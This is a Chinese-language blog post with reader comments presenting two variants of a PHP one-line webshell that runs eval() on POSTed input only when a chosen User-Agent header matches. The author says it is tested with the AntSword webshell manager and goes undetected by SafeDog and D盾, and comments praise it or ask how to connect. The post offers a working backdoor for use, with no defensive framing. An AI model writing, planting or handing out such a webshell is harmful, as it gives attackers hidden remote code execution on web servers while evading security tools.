无流量特征（无固定参数密码）免杀一句话木马

Mr.Wu 2020-05-01 3,952 9 正在检测是否收录...

在土司看到的一个 奇技淫巧

经过测试可用

<?php if($_SERVER[HTTP_USER_AGENT]==="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36  "){eval(reset(get_defined_vars()[_POST]));};?>

//或者
<?php if($_SERVER[HTTP_USER_AGENT]==="123"){eval(reset(get_defined_vars()[_POST]));};?>

蚁剑链接测试：

安全狗和D盾均未提示

本文作者为Mr.Wu，转载请注明，尊守博主劳动成果！

由于经常折腾代码，可能会导致个别文章内容显示错位或者别的 BUG 影响阅读;
如发现请在该文章下留言告知于我，thank you !

webshell 免杀

发表评论取消回复

昵称（必填）

邮箱（必填）

网址

表情图片链接代码

接收回复邮件通知

108321 Lv 1

请问提示：Parse error: syntax error, unexpected '[' in C:\phpStudy\PHPTutorial\WWW\wumima.php on line 4这个是啥情况啊，

#0 2020-07-31 18:06 回复
108321 Lv 1

T00ls-user-nopay

#0 2020-07-31 17:23 回复
1 Lv 1

有点骚

#0 2020-07-24 23:19 回复
XKK Lv 1

连接密码填什么啊

#0 2020-07-17 17:26 回复
- Mr.Wu 管理员
  
  @XKK链接密码随便填，你看我第一张图，主要是 headers
  
  2020-07-17 19:40 回复
noname Lv 1

这个是真的好用！牛逼

#0 2020-06-26 19:02 回复
1 Lv 1

好家伙，难怪这么眼熟，原来是我那个帖子，啾咪[aru_15]

#0 2020-06-11 15:40 回复
- Mr.Wu Lv 1
  
  @1欢迎大佬--
  
  2020-06-11 16:34 回复
c0sMx Lv 2

学到了[aru_13]

#0 2020-05-01 15:52 回复